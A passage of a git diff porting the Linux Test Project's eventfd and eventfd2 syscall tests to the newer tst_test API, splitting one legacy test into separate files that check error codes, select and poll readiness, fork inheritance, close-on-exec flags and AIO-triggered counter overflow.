tst_resm(TBROK, "error clearing counter"); - return; - } - - ret = read(fd, &val, sizeof(val)); - if (ret == -1) { - if (errno == EAGAIN) - tst_resm(TPASS, "read failed with EAGAIN as expected"); - else - tst_resm(TFAIL | TERRNO, "read failed (wanted EAGAIN)"); - } else - tst_resm(TFAIL, "read returned with %d", ret); -} - -/* - * Test whether writing to counter works. + * - EAGAIN when counter is zero on non blocking fd + * - EINVAL when buffer size is less than 8 bytes */ -static void write_test(int fd) -{ - int ret; - uint64_t val; - - val = 12; - ret = set_counter(fd, val); - if (ret == -1) { - tst_resm(TBROK, "error setting counter value to %" PRIu64, val); - return; - } +#include +#include +#include "tst_test.h" - read_test(fd, val); -} +#define EVENT_COUNT 10 -/* - * Test whether write returns with error EAGAIN when counter is at - * (UINT64_MAX - 1). - */ -static void write_eagain_test(int fd) +static void run(void) { - int ret; + int fd; uint64_t val; - - ret = set_counter(fd, UINT64_MAX - 1); - if (ret == -1) { - tst_resm(TBROK, "error setting counter value to UINT64_MAX-1"); - return; - } - - val = 1; - ret = write(fd, &val, sizeof(val)); - if (ret == -1) { - if (errno == EAGAIN) - tst_resm(TPASS, "write failed with EAGAIN as expected"); - else - tst_resm(TFAIL, "write failed (wanted EAGAIN)"); - } else - tst_resm(TFAIL, "write returned with %d", ret); -} - -/* - * Test whether read returns with error EINVAL, if buffer size is less - * than 8 bytes. - */ -static void read_einval_test(int fd) -{ uint32_t invalid; - int ret; - - ret = read(fd, &invalid, sizeof(invalid)); - if (ret == -1) { - if (errno == EINVAL) - tst_resm(TPASS, "read failed with EINVAL as expected"); - else - tst_resm(TFAIL | TERRNO, "read failed (wanted EINVAL)"); - } else - tst_resm(TFAIL, "read returned with %d", ret); -} - -/* - * Test whether write returns with error EINVAL, if buffer size is - * less than 8 bytes. - */ -static void write_einval_test(int fd) -{ - uint32_t invalid; - int ret; - - ret = write(fd, &invalid, sizeof(invalid)); - if (ret == -1) { - if (errno == EINVAL) - tst_resm(TPASS, "write failed with EINVAL as expected"); - else - tst_resm(TFAIL | TERRNO, - "write failed (wanted EINVAL)"); - } else - tst_resm(TFAIL, "write returned with %d", ret); -} - -/* - * Test wheter write returns with error EINVAL, when the written value - * is 0xFFFFFFFFFFFFFFFF. - */ -static void write_einval2_test(int fd) -{ - int ret; - uint64_t val; - - ret = clear_counter(fd); - if (ret == -1) { - tst_resm(TBROK, "error clearing counter"); - return; - } - - val = 0xffffffffffffffffLL; - ret = write(fd, &val, sizeof(val)); - if (ret == -1) { - if (errno == EINVAL) - tst_resm(TPASS, "write failed with EINVAL as expected"); - else - tst_resm(TFAIL | TERRNO, - "write failed (wanted EINVAL)"); - } else { - tst_resm(TFAIL, "write returned with %d", ret); - } -} - -/* - * Test whether readfd is set by select when counter value is - * non-zero. - */ -static void readfd_set_test(int fd) -{ - int ret; - fd_set readfds; - struct timeval timeout = { 0, 0 }; - uint64_t non_zero = 10; - - FD_ZERO(&readfds); - FD_SET(fd, &readfds); - - ret = set_counter(fd, non_zero); - if (ret == -1) { - tst_resm(TBROK, "error setting counter value to %" PRIu64, - non_zero); - return; - } - - ret = select(fd + 1, &readfds, NULL, NULL, &timeout); - if (ret == -1) { - /* EINTR cannot occur, since we don't block. */ - tst_resm(TBROK | TERRNO, "select() failed"); - return; - } - - if (FD_ISSET(fd, &readfds)) - tst_resm(TPASS, "fd is set in readfds"); - else - tst_resm(TFAIL, "fd is not set in readfds"); -} - -/* - * Test whether readfd is not set by select when counter value is - * zero. - */ -static void readfd_not_set_test(int fd) -{ - int ret; - fd_set readfds; - struct timeval timeout = { 0, 0 }; - - FD_ZERO(&readfds); - FD_SET(fd, &readfds); - - ret = clear_counter(fd); - if (ret == -1) { - tst_resm(TBROK, "error clearing counter"); - return; - } - - ret = select(fd + 1, &readfds, NULL, NULL, &timeout); - if (ret == -1) { - /* EINTR cannot occur, since we don't block. */ - tst_resm(TBROK | TERRNO, "select() failed"); - return; - } - - if (!FD_ISSET(fd, &readfds)) - tst_resm(TPASS, "fd is not set in readfds"); - else - tst_resm(TFAIL, "fd is set in readfds"); -} - -/* - * Test whether writefd is set by select when counter value is not the - * maximum counter value. - */ -static void writefd_set_test(int fd) -{ - int ret; - fd_set writefds; - struct timeval timeout = { 0, 0 }; - uint64_t non_max = 10; - - FD_ZERO(&writefds); - FD_SET(fd, &writefds); - - ret = set_counter(fd, non_max); - if (ret == -1) { - tst_resm(TBROK, "error setting counter value to %" PRIu64, - non_max); - return; - } - - ret = select(fd + 1, NULL, &writefds, NULL, &timeout); - if (ret == -1) { - /* EINTR cannot occur, since we don't block. */ - tst_resm(TBROK | TERRNO, "select: error getting fd status"); - return; - } - - if (FD_ISSET(fd, &writefds)) - tst_resm(TPASS, "fd is set in writefds"); - else - tst_resm(TFAIL, "fd is not set in writefds"); -} - -/* - * Test whether writefd is not set by select when counter value is at - * (UINT64_MAX - 1). - */ -static void writefd_not_set_test(int fd) -{ - int ret; - fd_set writefds; - struct timeval timeout = { 0, 0 }; - - FD_ZERO(&writefds); - FD_SET(fd, &writefds); - - ret = set_counter(fd, UINT64_MAX - 1); - if (ret == -1) { - tst_resm(TBROK, "error setting counter value to UINT64_MAX-1"); - return; - } - - ret = select(fd + 1, NULL, &writefds, NULL, &timeout); - if (ret == -1) { - /* EINTR cannot occur, since we don't block. */ - tst_resm(TBROK | TERRNO, "select: error getting fd status"); - return; - } - - if (!FD_ISSET(fd, &writefds)) - tst_resm(TPASS, "fd is not set in writefds"); - else - tst_resm(TFAIL, "fd is set in writefds"); -} - -/* - * Test whether counter update in child is reflected in the parent. - */ -static void child_inherit_test(int fd) -{ - uint64_t val; - pid_t cpid; - int ret; - int status; - uint64_t to_parent = 0xdeadbeef; - uint64_t dummy; - - cpid = fork(); - if (cpid == -1) - tst_resm(TBROK | TERRNO, "fork failed"); - else if (cpid != 0) { - ret = wait(&status); - if (ret == -1) { - tst_resm(TBROK, "error getting child exit status"); - return; - } - - if (WEXITSTATUS(status) == 1) { - tst_resm(TBROK, "counter value write not " - "successful in child"); - return; - } - - ret = read(fd, &val, sizeof(val)); - if (ret == -1) { - tst_resm(TBROK | TERRNO, "error reading eventfd"); - return; - } - - if (val == to_parent) - tst_resm(TPASS, "counter value write from " - "child successful"); - else - tst_resm(TFAIL, "counter value write in child " - "failed"); - } else { - /* Child */ - ret = read(fd, &dummy, sizeof(dummy)); - if (ret == -1 && errno != EAGAIN) { - tst_resm(TWARN | TERRNO, "error clearing counter"); - exit(1); - } - - ret = write(fd, &to_parent, sizeof(to_parent)); - if (ret == -1) { - tst_resm(TWARN | TERRNO, "error writing eventfd"); - exit(1); - } - - exit(0); - } -} - -#ifdef HAVE_IO_SET_EVENTFD -/* - * Test whether counter overflow is detected and handled correctly. - * - * It is not possible to directly overflow the counter using the - * write() syscall. Overflows occur when the counter is incremented - * from kernel space, in an irq context, when it is not possible to - * block the calling thread of execution. - * - * The AIO subsystem internally uses eventfd mechanism for - * notification of completion of read or write requests. In this test - * we trigger a counter overflow, by setting the counter value to the - * max possible value initially. When the AIO subsystem notifies - * through the eventfd counter, the counter overflows. - * - * NOTE: If the the counter starts from an initial value of 0, it will - * take decades for an overflow to occur. But since we set the initial - * value to the max possible counter value, we are able to cause it to - * overflow with a single increment. - * - * When the counter overflows, the following are tested - * 1. Check whether POLLERR event occurs in poll() for the eventfd. - * 2. Check whether readfd_set/writefd_set is set in select() for the - eventfd. - * 3. The counter value is UINT64_MAX. - */ -static int trigger_eventfd_overflow(int evfd, int *fd, io_context_t * ctx) -{ - int ret; - struct iocb iocb; - struct iocb *iocbap[1]; - struct io_event ioev; - static char buf[4 * 1024]; - - *ctx = 0; - ret = io_setup(16, ctx); - if (ret < 0) { - errno = -ret; - if (errno == ENOSYS) { - tst_brkm(TCONF | TERRNO, cleanup, - "io_setup(): AIO not supported by kernel"); - } - - tst_resm(TINFO | TERRNO, "io_setup error"); - return -1; - } - - *fd = open("testfile", O_RDWR | O_CREAT, 0644); - if (*fd == -1) { - tst_resm(TINFO | TERRNO, "open(testfile) failed"); - goto err_io_destroy; - } - - ret = set_counter(evfd, UINT64_MAX - 1); - if (ret == -1) { - tst_resm(TINFO, "error setting counter to UINT64_MAX-1"); - goto err_close_file; - } - - io_prep_pwrite(&iocb, *fd, buf, sizeof(buf), 0); - io_set_eventfd(&iocb, evfd); - - iocbap[0] = &iocb; - ret = io_submit(*ctx, 1, iocbap); - if (ret < 0) { - errno = -ret; - tst_resm(TINFO | TERRNO, "error submitting iocb"); - goto err_close_file; - } - - ret = io_getevents(*ctx, 1, 1, &ioev, NULL); - if (ret < 0) { - errno = -ret; - tst_resm(TINFO | TERRNO, "error waiting for event"); - goto err_close_file; - } - - return 0; - -err_close_file: - close(*fd); - -err_io_destroy: - io_destroy(*ctx); - - return -1; -} -static void cleanup_overflow(int fd, io_context_t ctx) -{ - close(fd); - io_destroy(ctx); -} - -static void overflow_select_test(int evfd) -{ - struct timeval timeout = { 10, 0 }; - fd_set readfds; - int fd; - io_context_t ctx; - int ret; - - ret = trigger_eventfd_overflow(evfd, &fd, &ctx); - if (ret == -1) { - tst_resm(TBROK, "error triggering eventfd overflow"); - return; - } - - FD_ZERO(&readfds); - FD_SET(evfd, &readfds); - ret = select(evfd + 1, &readfds, NULL, NULL, &timeout); - if (ret == -1) - tst_resm(TBROK | TERRNO, - "error getting evfd status with select"); - else { - if (FD_ISSET(evfd, &readfds)) - tst_resm(TPASS, "read fd set as expected"); - else - tst_resm(TFAIL, "read fd not set"); - } - cleanup_overflow(fd, ctx); -} - -static void overflow_poll_test(int evfd) -{ - struct pollfd pollfd; - int fd; - io_context_t ctx; - int ret; - - ret = trigger_eventfd_overflow(evfd, &fd, &ctx); - if (ret == -1) { - tst_resm(TBROK, "error triggering eventfd overflow"); - return; - } - - pollfd.fd = evfd; - pollfd.events = POLLIN; - pollfd.revents = 0; - ret = poll(&pollfd, 1, 10000); - if (ret == -1) - tst_resm(TBROK | TERRNO, "error getting evfd status with poll"); - else { - if (pollfd.revents & POLLERR) - tst_resm(TPASS, "POLLERR occurred as expected"); - else - tst_resm(TFAIL, "POLLERR did not occur"); - } - cleanup_overflow(fd, ctx); -} - -static void overflow_read_test(int evfd) -{ - uint64_t count; - io_context_t ctx; - int fd; - int ret; + fd = TST_EXP_FD(eventfd(EVENT_COUNT, EFD_NONBLOCK)); - ret = trigger_eventfd_overflow(evfd, &fd, &ctx); - if (ret == -1) { - tst_resm(TBROK, "error triggering eventfd overflow"); - return; - } + SAFE_READ(0, fd, &val, sizeof(val)); + TST_EXP_EQ_LI(val, EVENT_COUNT); - ret = read(evfd, &count, sizeof(count)); - if (ret == -1) - tst_resm(TBROK | TERRNO, "error reading eventfd"); - else { + TST_EXP_FAIL(read(fd, &val, sizeof(val)), EAGAIN); + TST_EXP_FAIL(read(fd, &invalid, sizeof(invalid)), EINVAL); - if (count == UINT64_MAX) - tst_resm(TPASS, "overflow occurred as expected"); - else - tst_resm(TFAIL, "overflow did not occur"); - } - cleanup_overflow(fd, ctx); -} -#else -static void overflow_select_test(int evfd) -{ - tst_resm(TCONF, "eventfd support is not available in AIO subsystem"); + SAFE_CLOSE(fd); } -static void overflow_poll_test(int evfd) -{ - tst_resm(TCONF, "eventfd support is not available in AIO subsystem"); -} - -static void overflow_read_test(int evfd) -{ - tst_resm(TCONF, "eventfd support is not available in AIO subsystem"); -} -#endif - -int main(int argc, char **argv) -{ - int lc; - int fd; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - int ret; - uint64_t einit = 10; - - tst_count = 0; - - fd = myeventfd(einit, 0); - if (fd == -1) - tst_brkm(TBROK | TERRNO, CLEANUP, - "error creating eventfd"); - - ret = fcntl(fd, F_SETFL, O_NONBLOCK); - if (ret == -1) - tst_brkm(TBROK | TERRNO, CLEANUP, - "error setting non-block mode"); - - read_test(fd, einit); - read_eagain_test(fd); - write_test(fd); - write_eagain_test(fd); - read_einval_test(fd); - write_einval_test(fd); - write_einval2_test(fd); - readfd_set_test(fd); - readfd_not_set_test(fd); - writefd_set_test(fd); - writefd_not_set_test(fd); - child_inherit_test(fd); - overflow_select_test(fd); - overflow_poll_test(fd); - overflow_read_test(fd); - - close(fd); - } - - cleanup(); - - tst_exit(); -} - -static void setup(void) -{ - - tst_sig(FORK, DEF_HANDLER, cleanup); - - if (tst_kvercmp(2, 6, 22) < 0) - tst_brkm(TCONF, NULL, "2.6.22 or greater kernel required"); - - tst_tmpdir(); - - TEST_PAUSE; -} - -static void cleanup(void) -{ - tst_rmdir(); -} - -#else -int main(void) -{ - tst_brkm(TCONF, NULL, "test requires libaio and it's development packages"); -} -#endif +static struct tst_test test = { + .test_all = run, + .needs_kconfigs = (const char *[]) { + "CONFIG_EVENTFD", + NULL + }, +}; diff --git a/testcases/kernel/syscalls/eventfd/eventfd02.c b/testcases/kernel/syscalls/eventfd/eventfd02.c new file mode 100644 index 00000000..f028961c --- /dev/null +++ b/testcases/kernel/syscalls/eventfd/eventfd02.c @@ -0,0 +1,53 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) 2008 Vijay Kumar B. + * Copyright (c) Linux Test Project, 2008-2022 + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Verify write operation for eventfd fail with: + * + * - EAGAIN when counter is zero on non blocking fd + * - EINVAL when buffer size is less than 8 bytes, or if an attempt is made to + * write the value 0xffffffffffffffff + */ + +#include +#include +#include "tst_test.h" + +static void run(void) +{ + int fd; + uint64_t val = 12; + uint64_t buf; + uint32_t invalid; + + fd = TST_EXP_FD(eventfd(0, EFD_NONBLOCK)); + + SAFE_WRITE(0, fd, &val, sizeof(val)); + SAFE_READ(0, fd, &buf, sizeof(buf)); + TST_EXP_EQ_LI(buf, val); + + val = UINT64_MAX - 1; + SAFE_WRITE(0, fd, &val, sizeof(val)); + TST_EXP_FAIL(write(fd, &val, sizeof(val)), EAGAIN); + TST_EXP_FAIL(write(fd, &invalid, sizeof(invalid)), EINVAL); + + val = 0xffffffffffffffffLL; + TST_EXP_FAIL(write(fd, &val, sizeof(val)), EINVAL); + + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .test_all = run, + .needs_kconfigs = (const char *[]) { + "CONFIG_EVENTFD", + NULL + }, +}; diff --git a/testcases/kernel/syscalls/eventfd/eventfd03.c b/testcases/kernel/syscalls/eventfd/eventfd03.c new file mode 100644 index 00000000..452264ca --- /dev/null +++ b/testcases/kernel/syscalls/eventfd/eventfd03.c @@ -0,0 +1,57 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) 2008 Vijay Kumar B. + * Copyright (c) Linux Test Project, 2008-2022 + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test whether readfd is set by select() when eventfd() counter value is + * non-zero, then check if readfd is not set when eventfd() counter value is + * zero. + */ + +#include +#include +#include "tst_test.h" + +static void run(void) +{ + int fd; + uint64_t val; + fd_set readfds; + uint64_t non_zero = 10; + struct timeval timeout = { 0, 0 }; + + fd = TST_EXP_FD(eventfd(0, EFD_NONBLOCK)); + + FD_ZERO(&readfds); + FD_SET(fd, &readfds); + + SAFE_WRITE(0, fd, &non_zero, sizeof(non_zero)); + TEST(select(fd + 1, &readfds, NULL, NULL, &timeout)); + if (TST_RET == -1) + tst_brk(TBROK | TERRNO, "select"); + + TST_EXP_EQ_LI(FD_ISSET(fd, &readfds), 1); + + SAFE_READ(0, fd, &val, sizeof(val)); + TEST(select(fd + 1, &readfds, NULL, NULL, &timeout)); + if (TST_RET == -1) + tst_brk(TBROK | TERRNO, "select"); + + TST_EXP_EQ_LI(FD_ISSET(fd, &readfds), 0); + + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .test_all = run, + .needs_kconfigs = (const char *[]) { + "CONFIG_EVENTFD", + NULL + }, +}; diff --git a/testcases/kernel/syscalls/eventfd/eventfd04.c b/testcases/kernel/syscalls/eventfd/eventfd04.c new file mode 100644 index 00000000..c7186ae6 --- /dev/null +++ b/testcases/kernel/syscalls/eventfd/eventfd04.c @@ -0,0 +1,60 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) 2008 Vijay Kumar B. + * Copyright (c) Linux Test Project, 2008-2022 + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test whether writefd is set by select() when eventfd() counter value is + * not the maximum value, then check if writefd is not set when eventfd() + * counter value is maximum value. + */ + +#include +#include +#include "tst_test.h" + +static void run(void) +{ + int fd; + fd_set writefds; + uint64_t val; + uint64_t non_max = 10; + uint64_t max = UINT64_MAX - 1; + struct timeval timeout = { 0, 0 }; + + fd = TST_EXP_FD(eventfd(0, EFD_NONBLOCK)); + + FD_ZERO(&writefds); + FD_SET(fd, &writefds); + + SAFE_WRITE(0, fd, &non_max, sizeof(non_max)); + TEST(select(fd + 1, NULL, &writefds, NULL, &timeout)); + if (TST_RET == -1) + tst_brk(TBROK | TERRNO, "select"); + + TST_EXP_EQ_LI(FD_ISSET(fd, &writefds), 1); + + SAFE_READ(0, fd, &val, sizeof(val)); + SAFE_WRITE(0, fd, &max, sizeof(max)); + + TEST(select(fd + 1, NULL, &writefds, NULL, &timeout)); + if (TST_RET == -1) + tst_brk(TBROK | TERRNO, "select"); + + TST_EXP_EQ_LI(FD_ISSET(fd, &writefds), 0); + + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .test_all = run, + .needs_kconfigs = (const char *[]) { + "CONFIG_EVENTFD", + NULL + }, +}; diff --git a/testcases/kernel/syscalls/eventfd/eventfd05.c b/testcases/kernel/syscalls/eventfd/eventfd05.c new file mode 100644 index 00000000..6ea2c413 --- /dev/null +++ b/testcases/kernel/syscalls/eventfd/eventfd05.c @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) 2008 Vijay Kumar B. + * Copyright (c) Linux Test Project, 2008-2022 + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test whether eventfd() counter update in child is reflected in the parent. + */ + +#include +#include +#include "tst_test.h" + +static void run(void) +{ + int fd; + uint64_t val; + uint64_t to_parent = 0xdeadbeef; + + fd = TST_EXP_FD(eventfd(0, EFD_NONBLOCK)); + + if (!SAFE_FORK()) { + SAFE_WRITE(0, fd, &to_parent, sizeof(to_parent)); + exit(0); + } + + tst_reap_children(); + + SAFE_READ(0, fd, &val, sizeof(val)); + TST_EXP_EQ_LI(val, to_parent); + + SAFE_CLOSE(fd); +} + +static struct tst_test test = { + .test_all = run, + .forks_child = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_EVENTFD", + NULL + }, +}; diff --git a/testcases/kernel/syscalls/eventfd/eventfd06.c b/testcases/kernel/syscalls/eventfd/eventfd06.c new file mode 100644 index 00000000..7339dd47 --- /dev/null +++ b/testcases/kernel/syscalls/eventfd/eventfd06.c @@ -0,0 +1,174 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (c) 2008 Vijay Kumar B. + * Copyright (c) Linux Test Project, 2008-2022 + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * Test whether counter overflow is detected and handled correctly. + * + * It is not possible to directly overflow the counter using the + * write() syscall. Overflows occur when the counter is incremented + * from kernel space, in an IRQ context, when it is not possible to + * block the calling thread of execution. + * + * The AIO subsystem internally uses eventfd mechanism for + * notification of completion of read or write requests. In this test + * we trigger a counter overflow, by setting the counter value to the + * max possible value initially. When the AIO subsystem notifies + * through the eventfd counter, the counter overflows. + * + * If the counter starts from an initial value of 0, it will + * take decades for an overflow to occur. But since we set the initial + * value to the max possible counter value, we are able to cause it to + * overflow with a single increment. + * + * When the counter overflows, the following is tested: + * + * - POLLERR event occurs in poll() for the eventfd + * - readfd_set/writefd_set is set in select() for the eventfd + * - the counter value is UINT64_MAX + */ + +#include "tst_test.h" + +#ifdef HAVE_LIBAIO +#ifdef HAVE_IO_SET_EVENTFD + +#include +#include +#include +#include + +#define MAXEVENTS 16 +#define BUFSIZE 1024 + +static int fd; +static int evfd; +static io_context_t ctx; + +static void async_write(void) +{ + struct iocb iocb; + struct iocb *iocbap[1]; + struct io_event ioev; + static char buf[BUFSIZE]; + + memset(buf, 1, BUFSIZE); + + io_prep_pwrite(&iocb, fd, buf, sizeof(buf), 0); + io_set_eventfd(&iocb, evfd); + + iocbap[0] = &iocb; + TEST(io_submit(ctx, 1, iocbap)); + if (TST_RET < 0) + tst_brk(TBROK, "io_submit() failed: %s", tst_strerrno(-TST_RET)); + + TEST(io_getevents(ctx, 1, 1, &ioev, NULL)); + if (TST_RET < 0) + tst_brk(TBROK, "io_getevents() failed: %s", tst_strerrno(-TST_RET)); +} + +static void clear_counter(void) +{ + uint64_t val; + uint64_t max = UINT64_MAX - 1; + + TEST(read(evfd, &val, sizeof(val))); + if (TST_RET == -1 && TST_ERR != EAGAIN) + tst_brk(TBROK | TERRNO, "read"); + + SAFE_WRITE(0, evfd, &max, sizeof(max)); +} + +static void test_select(void) +{ + fd_set readfds; + uint64_t count; + struct timeval timeout = { 10, 0 }; + + clear_counter(); + async_write(); + + FD_ZERO(&readfds); + FD_SET(fd, &readfds); + + tst_res(TINFO, "Checking if select() detects counter overflow"); + + TEST(select(fd + 1, NULL, &readfds, NULL, &timeout)); + if (TST_RET == -1) + tst_brk(TBROK | TERRNO, "select"); + + TST_EXP_EQ_LI(FD_ISSET(fd, &readfds), 1); + + SAFE_READ(0, evfd, &count, sizeof(count)); + TST_EXP_EQ_LI(count, UINT64_MAX); +} + +static void test_poll(void) +{ + uint64_t count; + struct pollfd pollfd; + + clear_counter(); + async_write(); + + pollfd.fd = evfd; + pollfd.events = POLLIN; + pollfd.revents = 0; + + tst_res(TINFO, "Checking if poll() detects counter overflow"); + + TEST(poll(&pollfd, 1, 10000)); + if (TST_RET == -1) + tst_brk(TBROK | TERRNO, "poll"); + + TST_EXP_EQ_LI(pollfd.revents & POLLERR, POLLERR); + + SAFE_READ(0, evfd, &count, sizeof(count)); + TST_EXP_EQ_LI(count, UINT64_MAX); +} + +static void setup(void) +{ + TEST(io_setup(MAXEVENTS, &ctx)); + if (TST_RET < 0) + tst_brk(TBROK, "io_setup() failed: %s", tst_strerrno(-TST_RET)); + + fd = SAFE_OPEN("testfile", O_RDWR | O_CREAT, 0644); + evfd = TST_EXP_FD(eventfd(0, EFD_NONBLOCK)); +} + +static void cleanup(void) +{ + SAFE_CLOSE(evfd); + io_destroy(ctx); +} + +static void run(void) +{ + test_select(); + test_poll(); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_tmpdir = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_EVENTFD", + NULL + }, +}; + +#else /* HAVE_IO_SET_EVENTFD */ +TST_TEST_TCONF("eventfd support is not available in AIO subsystem"); +#endif +#else /* HAVE_LIBAIO */ +TST_TEST_TCONF("libaio is not available"); +#endif diff --git a/testcases/kernel/syscalls/eventfd2/eventfd2.h b/testcases/kernel/syscalls/eventfd2/eventfd2.h new file mode 100644 index 00000000..5350820b --- /dev/null +++ b/testcases/kernel/syscalls/eventfd2/eventfd2.h @@ -0,0 +1,18 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +#include "tst_test.h" +#include "lapi/syscalls.h" + +static inline int eventfd2(unsigned int count, unsigned int flags) +{ + int ret; + + ret = tst_syscall(__NR_eventfd2, count, flags); + if (ret == -1) + tst_brk(TBROK | TERRNO, "eventfd2"); + + return ret; +} diff --git a/testcases/kernel/syscalls/eventfd2/eventfd2_01.c b/testcases/kernel/syscalls/eventfd2/eventfd2_01.c index c0c6a263..3a80379a 100755 --- a/testcases/kernel/syscalls/eventfd2/eventfd2_01.c +++ b/testcases/kernel/syscalls/eventfd2/eventfd2_01.c @@ -1,123 +1,37 @@ -/******************************************************************************/ -/* */ -/* Copyright (c) Ulrich Drepper */ -/* Copyright (c) International Business Machines Corp., 2009 */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License */ -/* along with this program; if not, write to the Free Software */ -/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ -/******************************************************************************/ -/******************************************************************************/ -/* */ -/* File: eventfd2_01.c */ -/* */ -/* Description: This Program tests the new system call introduced in 2.6.27. */ -/* Ulrich´s comment as in: */ -/* http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=b087498eb5605673b0f260a7620d91818cd72304 */ -/* says: */ -/* This patch adds the new eventfd2 syscall. It extends the old eventfd */ -/* syscall by one parameter which is meant to hold a flag value. In this */ -/* patch the only flag support is EFD_CLOEXEC which causes the close-on-exec */ -/* flag for the returned file descriptor to be set. A new name EFD_CLOEXEC is */ -/* introduced which in this implementation must have the same value as */ -/* O_CLOEXEC. The following test must be adjusted for architectures other than*/ -/* x86 and x86-64 and in case the syscall numbers changed. */ -/* */ -/* Usage: */ -/* eventfd2_01 [-c n] [-e][-i n] [-I x] [-p x] [-t] */ -/* where, -c n : Run n copies concurrently. */ -/* -e : Turn on errno logging. */ -/* -i n : Execute test n times. */ -/* -I x : Execute test for x seconds. */ -/* -P x : Pause for x seconds between iterations. */ -/* -t : Turn on syscall timing. */ -/* */ -/* Total Tests: 1 */ -/* */ -/* Test Name: eventfd2_01 */ -/* */ -/* Author: Ulrich Drepper */ -/* */ -/* History: Created - Jan 08 2009 - Ulrich Drepper */ -/* Ported to LTP */ -/* - Jan 08 2009 - Subrata */ -/******************************************************************************/ -#include -#include -#include -#include - -#include "test.h" -#include "lapi/fcntl.h" -#include "lapi/syscalls.h" - -#define EFD_CLOEXEC O_CLOEXEC - -char *TCID = "eventfd2_01"; -int testno; -int TST_TOTAL = 1; - -void cleanup(void) +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Ulrich Drepper + * Copyright (c) International Business Machines Corp., 2009 + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] + * + * This test verifies that eventfd2 correctly set FD_CLOEXEC flag on file when + * EFD_CLOEXEC flag is used. + */ + +#include +#include +#include "tst_test.h" +#include "eventfd2.h" + +static void run(void) { - tst_rmdir(); -} + int fd, flags; -void setup(void) -{ - TEST_PAUSE; - tst_tmpdir(); -} + fd = eventfd2(1, 0); + flags = SAFE_FCNTL(fd, F_GETFD); + TST_EXP_EXPR(!(flags & FD_CLOEXEC), "FD_CLOEXEC is not set"); + SAFE_CLOSE(fd); -int main(int argc, char *argv[]) -{ - int fd, coe; - - tst_parse_opts(argc, argv, NULL, NULL); - - if ((tst_kvercmp(2, 6, 27)) < 0) { - tst_brkm(TCONF, NULL, - "This test can only run on kernels that are 2.6.27 and higher"); - } - setup(); - - fd = ltp_syscall(__NR_eventfd2, 1, 0); - if (fd == -1) { - tst_brkm(TFAIL, cleanup, "eventfd2(0) failed"); - } - coe = fcntl(fd, F_GETFD); - if (coe == -1) { - tst_brkm(TBROK, cleanup, "fcntl failed"); - } - if (coe & FD_CLOEXEC) { - tst_brkm(TFAIL, cleanup, "eventfd2(0) set close-on-exec flag"); - } - close(fd); - - fd = ltp_syscall(__NR_eventfd2, 1, EFD_CLOEXEC); - if (fd == -1) { - tst_brkm(TFAIL, cleanup, "eventfd2(EFD_CLOEXEC) failed"); - } - coe = fcntl(fd, F_GETFD); - if (coe == -1) { - tst_brkm(TBROK, cleanup, "fcntl failed"); - } - if ((coe & FD_CLOEXEC) == 0) { - tst_brkm(TFAIL, cleanup, - "eventfd2(EFD_CLOEXEC) does not set close-on-exec flag"); - } - close(fd); - tst_resm(TPASS, "eventfd2(EFD_CLOEXEC) Passed"); - cleanup(); - tst_exit(); + fd = eventfd2(1, EFD_CLOEXEC); + flags = SAFE_FCNTL(fd, F_GETFD); + TST_EXP_EXPR((flags & FD_CLOEXEC), "FD_CLOEXEC is set"); + SAFE_CLOSE(fd); } + +static struct tst_test test = { + .test_all = run, +}; diff --git a/testcases/kernel/syscalls/eventfd2/eventfd2_02.c b/testcases/kernel/syscalls/eventfd2/eventfd2_02.c index 418c07c4..430cdb33 100755 --- a/testcases/kernel/syscalls/eventfd2/eventfd2_02.c +++ b/testcases/kernel/syscalls/eventfd2/eventfd2_02.c @@ -1,122 +1,37 @@ -/******************************************************************************/ -/* */ -/* Copyright (c) Ulrich Drepper */ -/* Copyright (c) International Business Machines Corp., 2009 */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License */ -/* along with this program; if not, write to the Free Software 